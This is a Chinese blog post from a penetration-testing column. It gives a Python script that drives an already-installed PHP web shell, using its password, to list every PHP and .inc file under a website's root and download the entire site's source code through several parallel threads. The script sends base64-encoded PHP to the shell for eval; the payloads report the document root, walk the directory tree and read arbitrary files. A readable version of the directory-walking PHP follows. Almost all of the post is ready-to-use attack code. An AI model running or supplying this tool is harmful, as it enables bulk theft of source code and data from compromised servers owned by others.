利用小马下载全站程序，（php inc格式文件包括目录结构）的py代码

最新推荐文章于 2021-04-12 22:09:34 发布

原创最新推荐文章于 2021-04-12 22:09:34 发布 · 2.2k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php #session #download #path #url #import

python 同时被 2 个专栏收录

203 篇文章

订阅专栏

渗透测试相关

55 篇文章

订阅专栏

本文介绍如何使用Python脚本配合小马下载整个网站程序，涉及PHP的inc格式文件及目录结构处理。代码中包含对PHP目录迭代查询的引用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

如果有小马了，就可以用本程序下载全站程序。

代码如下：

import urllib.request as ur
import urllib.parse as up
import threading,queue,os,sys
que=queue.Queue()
os.chdir(sys.path[0])
key='pass'  #小马的密码
url=r'http://localhost/test.php'  #小马的地址
tno=5  #下载线程数
webroot='''{}=%40session_start%28%29%3B%24_SESSION%5Bchr%2890%29%5D%3D%24_POST%5Bchr%28124%29%5D%3B%40eval%28base64_decode%28%24_SESSION%5Bchr%2890%29%5D%29%29%3Bdie%28%29%3B&|=ZWNobyAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw%3D%3D'''.format(key)
qpath='''{}=%40session_start%28%29%3B%24_SESSION%5Bchr%2890%29%5D%3D%24_POST%5Bchr%28124%29%5D%3B%40eval%28base64_decode%28%24_SESSION%5Bchr%2890%29%5D%29%29%3Bdie%28%29%3B&|=c2V0X3RpbWVfbGltaXQoOTk5OTk5KTsNCiRkaXI9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nLyonOw0KJG5ld2V4dGVuPWFycmF5KCcucGhwJywnLlBIUCcsJy5pbmMnLCcuUGhwJyk7ICANCmZ1bmN0aW9uIGNoZWNrKCRmX25hbWUpDQp7DQoJCWdsb2JhbCAkbmV3ZXh0ZW47DQokZno9c3RycmV2KCRmX25hbWUpOw0KJGJqID0gc3Vic3RyKCRmeiwwLDQpOw0KaWYoaW5fYXJyYXkoc3RycmV2KCRiaiksJG5ld2V4dGVuKSkNCglyZXR1cm4gdHJ1ZTsNCmVsc2UNCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIG15c2NhbmRpcigkcGF0aG5hbWUpDQp7DQpmb3JlYWNoKCBnbG9iKCRwYXRobmFtZSkgYXMgJGZpbGVuYW1lICl7DQogICAgICAgICAgICBpZihpc19kaXIoJGZpbGVuYW1lKSl7DQogICAgICAgICAgICAgICAgbXlzY2FuZGlyKCRmaWxlbmFtZS4nLyonKTsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGlmKGNoZWNrKCRmaWxlbmFtZSkpDQoJCQkJCWVjaG8gJGZpbGVuYW1lLidcbic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiB9DQpteXNjYW5kaXIoJGRpcik7'''.format(key)
down='''{k}=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1={p}'''


def download(path):
    #global down
    path=ur.quote(path)
    data=down.format(k=key,p=path).encode()
    a=ur.urlopen(url,data=data).read()[3:-3]
    return a
    
webroot=ur.urlopen(url,data=webroot.encode()).read().decode()
l=len(webroot)+1
data=qpath.encode()

ret=ur.urlopen(url,data=data).read()
try:ret=ret.decode('utf8').replace(r'\n','\n').strip().split()
except:ret=ret.decode('gb18030').replace(r'\n','\n').strip().split()
finally:
    for i in ret:que.put(i)


class yk(threading.Thread):
    def __init__(self,que):
        super(yk,self).__init__()
        self.que=que
        self.start()

    def run(self):
        while True:
            if self.que.empty():break
            i=self.que.get()
            os.chdir(sys.path[0])
            print('正在下载',i)
            lst=i[l:].rsplit('/',1)
            if len(lst)==1:open(lst[0],'bw').write(download(i))
            else:
                try:os.makedirs(lst[0])
                except:pass
                os.chdir(lst[0])
                open(lst[1],'bw').write(download(i))


for i in range(tno):
    yk(que)

其中的目录迭代查询代码的php原型为：

<?php
set_time_limit(999999);
$dir=$_SERVER['DOCUMENT_ROOT'].'/*';
$newexten=array('.php','.PHP','.inc','.Php');  
function check($f_name)
{
		global $newexten;
$fz=strrev($f_name);
$bj = substr($fz,0,4);
if(in_array(strrev($bj),$newexten))
	return true;
else
	return false;
}

function myscandir($pathname)
{
foreach( glob($pathname) as $filename ){
            if(is_dir($filename)){
                myscandir($filename.'/*');
            }else{
                if(check($filename))
					echo $filename.'\n';
            }
        }
 }
myscandir($dir);
?>